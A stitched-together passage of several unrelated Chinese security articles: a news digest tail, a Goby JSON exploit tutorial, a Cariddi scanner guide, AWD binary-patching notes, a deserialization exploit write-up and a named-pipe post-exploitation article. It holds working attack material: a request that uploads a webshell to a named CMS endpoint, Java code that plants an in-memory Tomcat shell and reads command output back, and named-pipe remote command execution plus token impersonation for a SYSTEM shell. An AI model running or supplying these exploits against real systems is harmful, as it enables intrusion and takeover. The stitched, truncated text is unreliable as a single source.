2021 年 8 月的 Adob​​e 安全更新总共解决了 29 个漏洞,包括 Magento 中的关键漏洞和 Adob​​e Connect 中的重要漏洞。[外刊-阅读原文]

5. 托管 DNS 服务云中的漏洞让攻击者监视 DNS 流量
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。[外刊-阅读原文]

6. 新的 AdLoad 恶意软件变种绕过 Apple 的 XProtect 防御
一种新的 AdLoad 恶意软件变种正在通过 Apple 基于 YARA 签名的 XProtect 内置防病毒软件感染 Mac。[外刊-阅读原文]

优质文章
1. 数据交换共享安全管理方案 —— NIST SP 800-47干货
本文梳理了NIST SP 800-47原文,结合作者对数据安全的理解,将主要内容简明的给大家做个介绍,本文的文档结构未按照原文的文档结构。[阅读原文]

2. 利用AI检测IoT恶意流量
为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测。[阅读原文]

3. Android内核提权之路,“太卷了!”
最近,两款Android主流GPU内核驱动(Adreno和Mali)修补了关于内存管理的逻辑漏洞,而芯片安全、Android安全也是slipper的主要研究方向。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标明为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

本文作者:三分浅土, 转载请注明来自FreeBuf.COM

Json 编写 PoC&EXP 遇到的那些坑

这几天师傅们都在提交 Goby 的 EXP,赶鸭子上架,一边研究一边写,也写出来几个,编写过程中遇到了很多问题,都记录了下来。这篇文章主要讲一些遇到过的坑及调试的问题,再通过一个文件上传类 PoC/EXP 来详细讲解。因为我也是刚刚学习编写,如果文章中的说法有什么问题请师傅们及时指出。我使用的版本是 goby-win-x64-1.8.275,PoC 使用 json 编写。

0×01 一些调试遇到的问题
1.1 通过 Burp 代理获取 Goby 流量进行调试
在扫描设置中设置 Burp 的代理。

在设置完代理后最好重启一下,之后点击新建扫描->开始

Burp中就可以抓到包了。

注意:设置代理后有个小问题,就是开始扫描后抓不到POC验证的流量,主要是因为开启扫描后 Goby 先进行端口、协议和资产的识别,再进行漏洞探测。所以这里扫描的话建议设置Burp 为 Intercept is off ,因为本身我们需要抓取的是 PoC 的流量,这里扫描的流量就看个人需求了。(这里测试的只是Burp的代理,我用的版本是1.6的,至于其他的代理或者Burp版本还未测试)

扫描结果如下图所示:

这时候要看 PoC 的流量在修改 PoC 中有一个单 ip 扫描,这里可以抓到 PoC 的流量

可以看到已经拦截到流量了

注意:这里也有个小问题,就是如果在 PoC 管理中测试,必须先新建立扫描任务扫完后再去 PoC 管理中测试,Burp 才可以抓到包。

还有个小技巧,通常修改完 PoC 后需要重启一下 Goby,如果想要快速调试PoC包并观察流量,修改完后可以点击返回到 PoC 管理页面再点击进来.

可以看到流量中明显变化了。

1.2 识别规则并调用 PoC
经过测试发现 Goby 的 PoC 调用规则是先通过 PoC 写的查询规则去查询,如果查询到才会调用 PoC 进行扫描,否则就算你勾选了 PoC 也不会进行调用。具体得查询规则可以查看 Goby 查询语法

这里就可以发现有时候通过 PoC 管理手动测试的漏洞可以验证成功,而通过扫描的地址无法检测到存在漏洞。

注意:有时候一些 CMS 需要自己定义一些规则,比如 body=“this is test” || title=”管理登录”之类的,有时候会发现直接扫描域名无法匹配到其规则,如果扫描IP则会匹配到。

0×02 编写文件上传类PoC及EXP
接下来通过一个文件上传类的 PoC/EXP 来讲解一下编写过程中遇到的问题。文件上传的 PoC 规则是需要上传一个输出特定信息并且自删除的脚本。如:


这样的话我们需要在 PoC 处发送两次请求,第一次进行上传文件操作,第二次对上传的文件进行访问并验证,在访问之后这个文件会自动删除。

下面贴出请求代码,讲解我通过代码块写出。

“ScanSteps”: [
“AND”,
{
“Request”: {
“method”: “POST”,
“uri”: “/wxapp.php?controller=Goods.doPageUpload”,
“follow_redirect”: false,
//header头的设置,这里最好还是通过Burp抓包把请求头写入防止请求出错
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “multipart/form-data; boundary=—-WebKitFormBoundary8UaANmWAgM4BqBSs”
},
“data_type”: “text”,
//post数据可以从Burp中直接复制,通过Goby的图形化界面直接复制进去,这里会自动生成
“data”: “\n——WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=\”upfile\”; filename=\”test.php\”\nContent-Type: image/gif\n\n\n\n——WebKitFormBoundary8UaANmWAgM4BqBSs–”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “$code”,
“operation”: “==”,
“value”: “200”,
“bz”: “”
},
{
“type”: “item”,
“variable”: “$body”,
“operation”: “contains”,
“value”: “image_o”,
“bz”: “”
}
]
},
“SetVariable”: [
//这里需要设置两个变量,通过正则匹配返回,为上传文件的路径
“urlDir|lastbody|regex|image_o\”:\”.*goods\\\\/(.*?)\\\\/.*\””,
“urlDir2|lastbody|regex|image_o\”:\”.*goods\\\\/.*\\\\/(.*?)\””
]
},
{
“Request”: {
“method”: “GET”,
//这里调用上面的两个变量去发送GET请求
“uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}”,
“follow_redirect”: false,
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”
},
“data_type”: “text”,
“data”: “”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “$code”,
“operation”: “==”,
“value”: “200”,
“bz”: “”
},
{
“type”: “item”,
“variable”: “$body”,
“operation”: “contains”,
“value”: “e165421110ba03099a1c0393373c5b43”,//判断页面是否有该md5值
“bz”: “”
}
]
},
“SetVariable”: []
}
],
这里需要说一下下面的两句正则

“urlDir|lastbody|regex|image_o\”:\”.*goods\\\\/(.*?)\\\\/.*\””,
“urlDir2|lastbody|regex|image_o\”:\”.*goods\\\\/.*\\\\/(.*?)\””
因为输出的文件地址是 //Uploads/image/goods/2021-05-27/0206254881620132.php 这样子的

如果写成这样

直接调用发送 GET 请求为 %5C/image%5C/goods%5C/2021-05-27%5C/0206254881620132.php

这种请求会返回404

所以必须将 \ 去掉,已知文件的路径除了最后的上传日期和文件名在变化,其他不变,所以前面路径可以写死,通过正则取到日期和文件名进行组合请求。

注意:如果使用 json 编写,\ 这里必须通过两个 \ 匹配,否则匹配不到

“urlDir|lastbody|regex|image_o”:”.goods\\/(.?)\\/.*”” 取出日期,结果为 2021-05-27

“urlDir2|lastbody|regex|image_o”:”.goods\\/.\\/(.*?)”” 取出文件名 结果为 0206254881620132.php

然后通过 “uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}” 请求则返回成功

PoC 部分写完,接下来看 EXP 部分就比较简单了,

“ExploitSteps”: [
“AND”,
{
“Request”: {
“method”: “POST”,
“uri”: “/wxapp.php?controller=Goods.doPageUpload”,
“follow_redirect”: false,
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “multipart/form-data; boundary=—-WebKitFormBoundary8UaANmWAgM4BqBSs”
},
“data_type”: “text”,
“data”: “\n——WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=\”upfile\”; filename=\”shell.php\”\nContent-Type: image/gif\n\n\n\n——WebKitFormBoundary8UaANmWAgM4BqBSs–”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “$code”,
“operation”: “==”,
“value”: “200”,
“bz”: “”
},
{
“type”: “item”,
“variable”: “$body”,
“operation”: “contains”,
“value”: “image_o”,
“bz”: “”
}
]
},
“SetVariable”: [
“output|lastbody|regex|image_o\”:\”(.*?)\””
]
}
],
直接上传 shell,这里的 data 数据还是通过 Burp 直接复制即可,通过 Goby 的图形化界面复制进去会自动生成换行符之类的,Exploit 部分可以先将数据通过 PoC 部分的图形化界面生成再复制进下面 Exploit 的 json 中。

图片下方为测试截图

这里因为需要输出 shell 地址和连接方式,并且要去掉 \,这样的话就需要变量或者字符串拼接… 一直没测试成功,就通过 expParams 设置了一下显示信息…

“ExpParams”: [
{
“name”: “webshellinfo”,
“type”: “textarea”,
“value”: “Using Behinder_v3.0 connection, password is rebeyond”,
“show”: “”
}
],
但是这样是不合规的 – -,因为 ExpParams 不是当做输出信息来用的,而是为了给 EXP 传参用的。最后问了 Goby 的师傅说目前使用 json 编写要想在 output 处实现这样的需求是不行的,想要实现的话只能使用 go 来编写了。

0×03 总结
-.- 编写过程中还是遇到了很多问题,大部分算是解决了,当然一些需求还是需要用 go 写,希望能帮助还不会 go 语言的小伙伴们通过 json 去编写 PoC/EXP。最后感谢师傅们的指导~~~

文章来自Goby社区成员:HuaiNian,转载请注明出处。

如何使用Cariddi扫描域名相关的各种敏感信息

关于Cariddi
Cariddi是一款功能强大的信息收集与扫描工具,我们只需给它提供一个域名列表,Cariddi就能够帮助我们爬取URL地址,扫描终端节点,并搜索敏感数据、API密钥、文件后缀和令牌等信息。

工具安装
首先,我们需要在本地设备上安装并配置好Go环境。

Linux安装
首先,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/edoardottt/cariddi.git

cd cariddi

go get
运行下列命令即可安装Cariddi:

make linux
运行下列命令即可卸载Cariddi:

make unlinux
或者,我们也可以直接运行下列一行命令:

git clone https://github.com/edoardottt/cariddi.git; cd cariddi; go get; make linux
Windows安装(可执行程序只能在cariddi目录下运行)
首先,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/edoardottt/cariddi.git

cd cariddi

go get
运行下列命令即可安装Cariddi:

.\make.bat windows
运行下列命令即可卸载Cariddi:

.\make.bat unwindows
工具使用
在命令行窗口中运行命令“cariddi -h”,即可查看工具的帮助信息:

Usage of cariddi:

-c int

Concurrency level. (default 20)

-cache

Use the .cariddi_cache folder as cache.

-d int

Delay between a page crawled and another.

-e Hunt for juicy endpoints.

-ef string

Use an external file (txt, one per line) to use custom parameters for endpoints hunting.

-examples

Print the examples.

-ext int

Hunt for juicy file extensions. Integer from 1(juicy) to 7(not juicy).

-h Print the help.

-i string

Ignore the URL containing at least one of the elements of this array.

-intensive

Crawl searching for resources matching 2nd level domain.

-it string

Ignore the URL containing at least one of the lines of this file.

-oh string

Write the output into an HTML file.

-ot string

Write the output into a TXT file.

-plain

Print only the results.

-s Hunt for secrets.

-sf string

Use an external file (txt, one per line) to use custom regexes for secrets hunting.

-t int

Set timeout for the requests. (default 10)

-version

Print the version.
工具使用样例
Linux环境
cariddi -version (打印工具版本信息)

cariddi -h (打印工具帮助信息)

cariddi -examples (输出样例)

cat urls | cariddi -s (搜索敏感信息)

cat urls | cariddi -d 2 (设置页面爬取间隔为2秒)

cat urls | cariddi -c 200 (将并发级别设置为200)

cat urls | cariddi -e (搜索有价值的终端节点)

cat urls | cariddi -plain (仅输出有用的信息)

cat urls | cariddi -ot target_name (将结果存储至txt文件中)

cat urls | cariddi -oh target_name (将结果存储至html文件中)

cat urls | cariddi -ext 2 (搜索有价值的文件(等级2-7))

cat urls | cariddi -e -ef endpoints_file (搜索自定义终端节点)

cat urls | cariddi -s -sf secrets_file (搜索自定义敏感信息)

cat urls | cariddi -i forum,blog,community,open (忽略包含这些关键词的URL)

cat urls | cariddi -it ignore_file (忽略包含输入文件中内容的URL)

cat urls | cariddi -cache (使用.cariddi_cache作为缓存目录)

cat urls | cariddi -t 5 (设置请求超时)

cat urls | cariddi -intensive (爬取搜索与第二级域匹配的资源)
Windows使用样例
powershell.exe -Command “cat urls | .\cariddi.exe”
工具演示视频
视频地址:【点我观看】

项目地址
Cariddi:【GitHub传送门】

许可证协议
本项目的开发与发布遵循GNU v3.0开源许可证协议。

参考资料
https://www.edoardoottavianelli.it/

https://github.com/zricethezav/gitleaks/blob/master/config/default.go

https://github.com/edoardottt/cariddi/blob/master/CODE_OF_CONDUCT.md

https://golang.org/

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM

AWDPwn 漏洞加固总结

AWD简介

AWD(Attack With Defense,攻防兼备) 模式需要在一场比赛里要扮演攻击方和防守方,利用漏洞攻击其他队伍进行得分,修复漏洞可以避免被其他队伍攻击而失分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时也要保护自己的主机不被别人攻陷而扣分。

Patch-PWN

各家 awd 平台检查机制各不相同,原则上是只针对漏洞点进行 patch 加固,也就是最小修改加固。以下总结不需要改动文件大小、针对漏洞点进行 patch 的几种漏洞类型。

Patch资料
跳转指令
无符号跳转

汇编指令 描述
JA 无符号大于则跳转
JNA 无符号不大于则跳转
JAE 无符号大于等于则跳转(同JNB)
JNAE 无符号不大于等于则跳转(同JB)
JB 无符号小于则跳转
JNB 无符号不小于则跳转
JBE 无符号小于等于则跳转(同JNA)
JBNE 无符号不小于等于则跳转(同JA)
有符号跳转

汇编指令 描述
JG 有符号大于则跳转
JNG 有符号不大于则跳转
JGE 有符号大于等于则跳转(同JNL)
JNGE 有符号不大于等于则跳转(同JL)
JL 有符号小于则跳转
JNL 有符号不小于则跳转
JLE 有符号小于等于则跳转(同JNG)
JNLE 有符号不小于等于则跳转(同JG)
Patch-整数 溢出

Scanf 以 long int 长整形读取输入到 unsigned int 变量 v2 中,然后将 v2 强制转为 int 再与int 48 比较。

但从 scanf 读入一个负数时,最高位为 1 ,从 unsigned int 强制转换为 int 结果是负数,必定比 48 小,在后面 read 读入会造成栈溢出。

Patch方法
将第 9 行的 if 跳转汇编指令 patch 为无符号的跳转指令,具体指令参考跳转指令。

使用 keypatach 进行修改:

jle –> jbe

Patch-栈溢出
对于栈溢出加固,x64 更容易一些,因为是使用寄存器传参,而x86 使用栈传参,需要用 nop 等保持加固前后的空间不变。

x64

Patch方法
100 是第三个参数,存储寄存器是 rdx ,找到给 rdx 传参的汇编指令进行 patch

使用 ida 默认修改插件修改(Edit-Patch Program-Change word),也可以用 keypatach :

0x64 是长度

0xBA 是操作符

0x64 –> 0x20

x86
不需要对齐

找到压栈的指令,修改压入的数值

修改数值需要补上 0x

这里修改前 size 为 2 ,修改后 size 也为 2 ,所以这题 patch 不需要用 nop 保持 size

需要对齐

找到压栈的指令,修改压入的数值

直接修改 0x20 后,size 长度不对齐,会引起栈空间变化,需要用 nop 进行对齐:

更方便快捷方法是勾选 NOPs padding until next instruction boundary 进行自动填充。

Patch-格式化字符串

修改函数
将 printf 改为 puts ,将 call 的地址改为 puts plt 地址:

这个方法局限性在于:puts 会在原字符串多加 n ,主办方 check 可能会因此而不通过

修改printf参数
将 printf(format) 修改为 printf(“%s”,format)

修改 printf 前面的传参指令:

mov edi, offset 0x400c01;
mov esi,offset format;

Patch-UAF

修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序。

先在 .eh_frame 段上写入代码,首先是 call free 完成释放,然后对 chunk_list 进行置零。取 chunk_list 地址的汇编可以从 call free 前面抄过来:

image.png

Patch-if范围
假设需要将图上第二个 if 放到 if 结构内,修改跳转的地址即可:

原始跳转代码:

js 0x40081C –> js 0x400845

Patch-更换危险函数
类似与 uaf 一样写汇编实现功能调用,将危险函数替换为其他函数,如果程序中没有目标函数,就通过系统调用方式调用。

将 gets 替换为 read 输入

.eh_frame 写入汇编,将 rdi 的写入地址移动到 rsi ,把其他寄存器也传参之后进行系统调用:

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/164073.html

某C 1day 反序列化漏洞的武器级利用

虽然打厚码,但是好兄弟们依旧知道我在说什么。这个java cms的反序列化点极多,而且报文中没有多少特征

首先从任意文件上传说起

任意文件上传分析代码在servlet.FileReceiveServlet。在这里我们可以看到,从请求中读取流,然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。

image.png

而网上很多poc,大多都是基于此漏洞,利用反序列化上传一个文件到服务器。

这也就是去年的那个任意文件上传的反序列化漏洞。但是,但是,这个漏洞本质是一个反序列化漏洞。而且某C的classpath中,也存在apache commonscollections库,我们可以利用这个库,直接执行命令或者内存马。岂不是比任意文件上传舒服多了。

内存马
老样子,在反序列化中想执行任意代码,一般都依靠xalan这个库。这次也不例外。

植入内存马,关键在于我们怎样找到context,只有找到context,我们才可以添加filter。好在某c中,我们只需要通过下面的代码既可以获取当前context,不需要从tomcat中获取context

Object obj = Locator.getInstance().lookup(“ServletContext”);
Field contextField = obj.getClass().getDeclaredField(“context”);
contextField.setAccessible(true);
obj = contextField.get(obj);
Field contextField1 = obj.getClass().getDeclaredField(“context”);
contextField1.setAccessible(true);
addFitlertoTomcat(contextField1.get(obj));
剩下的就是常规操作,可以看我之前的内存马模型,基本不需要很大的改动即可完美适配。

image.png

回显
我们只需要找到这样一个servlet,即存在反序列化的readObject,又将错误信息写入到response中

不难看出 uploadServlet 就很满足这个需求。

out = new ObjectOutputStream(output);
in = new ObjectInputStream(request.getInputStream());
String dsName = (String)in.readObject();
}
} catch (Exception var14) {
var14.printStackTrace();
if (out == null) {
throw new ServletException(var14);
}

out.writeObject(var14);
如果出错的话,将错误信息通过序列化写入到response中。好处在于,我们不需要麻烦的去找tomcat的response对象。

所以,我们将反序列化的文件,发送给uploadServlet即可。然后我们只需要读取响应,即可拿到服务器的回显结果。
客户端代码可以这样写

byte[] r = HttpClient.post(“http://192.168.12.133/servlet/UploadServlet”, baos.toByteArray());

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
Exception e = (Exception) objectInputStream.readObject();
Object obj = e.getCause();
Field targetF = obj.getClass().getDeclaredField(“target”);
targetF.setAccessible(true);
obj = targetF.get(obj);
Field msgF = obj.getClass().getSuperclass().getDeclaredField(“detailMessage”);
msgF.setAccessible(true);
String msg = msgF.get(obj).toString();
System.out.println(msg);
老规矩,工具随后扔到星球,还不快来支持我一下???
我正在「宽字节安全」和朋友们讨论有趣的话题,你⼀起来吧?
https://t.zsxq.com/qJe2JEi

本文作者:宽字节安全

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/163900.html

windows安全初探之命名管道

前言:
最近学校开了操作系统这门课,记录自己学习命名管道中与网络安全有关的内容。

关于命名管道:
“命名管道”又名“命名管线”(Named Pipes),是一种简单的进程间通信(IPC)机制,Microsoft Windows大都提供了对它的支持(但不包括Windows CE)。命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信。推荐用命名管道作为进程通信方案的一项重要的原因是它们充分利用了Windows内建的安全特性(ACL等)。

用命名管道来设计跨计算机应用程序实际非常简单,并不需要事先深入掌握底层网络传送协议(如TCP、UDP、IP、IPX)的知识。这是由于命名管道利用了微软网络提供者(MSNP)重定向器通过同一个网络在各进程间建立通信,这样一来,应用程序便不必关心网络协议的细节。

命名管道是一个具有名称,可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端通许提供独立的管道。使用实例可使多个管道客户端同时使用相同的命名管道。

命名管道的名称在本系统中是唯一的。

命名管道可以被任意符合权限要求的进程访问。

命名管道只能在本地创建。

命名管道的客户端可以是本地进程(本地访问:\.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。

命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。

列出计算机内所有的命名管道:

在powershell3以上的版本中,我们可以使用

[System.IO.Directory]::GetFiles(“\\.\\pipe\\”)

来查看本机上所有的存在的命名管道,或者使用process explorer来进行查看

image.png

命名管道的创建及通信
在windows中命名管道的通信方式是:

①创建命名管道 --> ②连接命名管道 --> ③读写命名管道

详细过程如下:

命名管道通过调用函数CreateNamedPipe()创建,函数原型如下:

HANDLE WINAPI CreateNamedPipe(
_In_ LPCTSTR lpName,
_In_ DWORD dwOpenMode,
_In_ DWORD dwPipeMode,
_In_ DWORD nMaxInstances,
_In_ DWORD nOutBufferSize,
_In_ DWORD nInBufferSize,
_In_ DWORD nDefaultTimeOut,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
详细参数可以参考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea

创建完成后服务端可以调用函数ConnectNamedPipe()等待客户端的连接请求,函数原型如下:

BOOL WINAPI ConnectNamedPipe(
_In_ HANDLE hNamedPipe,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
详细参数可以参考:https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe

对于客户端而言,在连接服务器创建的命名管道前需要判断该命名管道是否可用,可调用函数WaitNamedPipe()实现

函数原型如下:

BOOL WaitNamedPipeA(
LPCSTR lpNamedPipeName,
DWORD nTimeOut
);
详细参数可以参考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea

当WaitNamedPipe()调用成功后,便可使用CreateFile()将命名管道打开已获得管道的句柄。

然后客户端对命名管道的读写操作利用函数ReadFile()和WriteFile()完成,函数原型如下:

BOOL WriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
BOOL ReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);
具体参数可以参考:

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile

demo:

下面是一个命名管道通信的小demo:

服务端:

#include
#include

#define BUF_SIZE 1024

using namespace std;

int main(int argc,char * argv[]) {

HANDLE h_pipe;
char rev_buf[BUF_SIZE];
DWORD rel_buf;

h_pipe = CreateNamedPipe(
“\\\\.\\pipe\\pipename”,
PIPE_ACCESS_INBOUND,
PIPE_READMODE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUF_SIZE,
BUF_SIZE,
0,
nullptr
);

if (h_pipe == INVALID_HANDLE_VALUE) {
cout<<“NamedPipe Create fail!!!”<
#include
#define BUF_SIZE 1024

using namespace std;

int main(int argv,char * argc[]) {

HANDLE h_pipe;
char buf_msg[] = “Test for named pipe…”;
DWORD num_rcv; //实际接收到的字节数
cout << “Try to connect named pipe…\n”;
if (WaitNamedPipe(“\\\\.\\pipe\\pipename”, NMPWAIT_WAIT_FOREVER))
{
//打开指定命名管道
h_pipe = CreateFile(“\\\\.\\pipe\\pipename”, GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (h_pipe == INVALID_HANDLE_VALUE)
{
cerr << “Failed to open the appointed named pipe!Error code: ” << GetLastError() << “\n”;
system(“pause”);
return 1;
}
else
{
if (WriteFile(h_pipe, buf_msg, BUF_SIZE, &num_rcv, nullptr))
{
cout << “Message sent successfully…\n”;
}
else
{
cerr << “Failed to send message!Error code: ” << GetLastError() << “\n”;
CloseHandle(h_pipe);
system(“pause”);
return 1;
}
}
CloseHandle(h_pipe);
}
system(“pause”);
return 0;
}
效果如下:

image.png

PS:实现长链接的话记得开新线程哦。

实际利用
绕过防火墙:

那么这个东西有什么用呢?我们在渗透的过程中经常会看到下面这种情况:

image.png

在 Windows 中,当尝试使用 Bind() 绑定一个 TCP Socket 时,Defender 会弹窗提示是否允许此程序进行网络连接,只有用户点击允许访问才可放行。我们可以利用添加防火墙规则的办法来绕过这个限制,但是,如果你不是administrator权限,也就GG了,这个时候我们还有另外的办法就是利用命名管道,命名管道网络通信使用了未加密的SMB协议(端口445)或DCE\RPC(端口135)。在 Windows 中,通常默认允许 SMB 协议 出入站,因此,如果有什么功能或机制可以用于与外部机器进行通信的,SMB 协议 无疑是一种很好的选择。所以我们可以基于命名管道与外部机器进行通信,从而建立控制通道。

这里就直接拿rocll大佬的代码过来了:

private static void WaitData()
{
// 创建一个运行空间
Runspace runspace = null;
runspace = RunspaceFactory.CreateRunspace();
runspace.ApartmentState = System.Threading.ApartmentState.STA;
runspace.Open();

while(true)
{
using (var pipeServer = new NamedPipeServerStream(
“testpipe”,
PipeDirection.InOut,
NamedPipeServerStream.MaxAllowedServerInstances,
PipeTransmissionMode.Message))
{
Console.WriteLine(“[*] Waiting for client connection…”);
pipeServer.WaitForConnection();
Console.WriteLine(“[*] Client connected.”);
while (true)
{
var messageBytes = ReadMessage(pipeServer);
var line = Encoding.Default.GetString(messageBytes);
Console.WriteLine(“[*] Received: {0}”, line);
if (line.ToLower() == “exit”)
{
return;
}

// 参考:https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/
try
{
Pipeline PsPipe = runspace.CreatePipeline();
PsPipe.Commands.AddScript(line);
PsPipe.Commands.Add(“Out-String”);
Collection results = PsPipe.Invoke();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.AppendLine(obj.ToString());
}

var response = Encoding.Default.GetBytes(stringBuilder.ToString());

try
{
pipeServer.Write(response, 0, response.Length);
}
catch
{
Console.WriteLine(“[!] Pipe is broken!”);
break;
}
}
catch (Exception e){}
}
}
}
}

private static void SendData(string ServerName)
{
Console.WriteLine(“[+] Connecting to ” + ServerName);
using (var pipeClient = new NamedPipeClientStream(ServerName, “testpipe”, PipeDirection.InOut))
{
pipeClient.Connect(5000);
pipeClient.ReadMode = PipeTransmissionMode.Message;
Console.WriteLine(“[+] Connection established succesfully.”);
do
{
Console.Write(“csexec> “);
var input = Console.ReadLine();
if (String.IsNullOrEmpty(input)) continue;
byte[] bytes = Encoding.Default.GetBytes(input);
pipeClient.Write(bytes, 0, bytes.Length);
if (input.ToLower() == “exit”) return;
var result = ReadMessage(pipeClient);
Console.WriteLine();
Console.WriteLine(Encoding.Default.GetString(result));
} while (true);
}
}
模拟令牌:

这也是命名管道中常见的一种方法,一般可以用来提权操作,我们cobaltstrike中的getsystem也就是这个原理,官方给出的内容为:

Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\\.\pipe\[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.

大体意思也就是说,msf会创建一个命名管道,然后创建一个服务去运行cmd.exe /c echo “some data” >\\.\pipe\[random pipe here],当cmd连接到Meterpreter的明明管道的时候,因为服务是system权限,msf也就得到了一个system的shell。

Windows提供了这样的API,ImpersonateNamedPipeClient API调用是getsystem模块功能的关键。

ImpersonateNamedPipeClient允许命名管道模拟客户端的服务器端。调用此函数时,命名管道文件系统会更改调用进程的线程,以开始模拟从管道读取的最后一条消息的安全内容。只有管道的服务器端可以调用此函数。

在msf的

meterpreter/source/extensions/stdapi/server/sys/process/process.c文件中,你可以看到它做了以下操作,派生令牌获取shell:

if (ImpersonateNamedPipeClient(namedPipe) == 0) {
printf(“[!] Error impersonating client\n”);
return 0;
}

if (!CreateProcessAsUserA(newtoken, NULL, “cmd.exe”, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
printf(“[!] CreateProcessAsUser failed (%d), trying another method.\n”, GetLastError());

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c)
if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L”cmd.exe”, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
printf(“[!] CreateProcessWithToken failed (%d).\n”, GetLastError());
return 0;
}
}
然后我们就可以使用下面的办法模拟令牌获取一个system的shell:

HANDLE
threadToken = NULL,
duplicatedToken = NULL;

OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken);
DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken);
err = GetLastError();
CreateProcessWithTokenW(duplicatedToken, 0, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

image.png

一些细节:

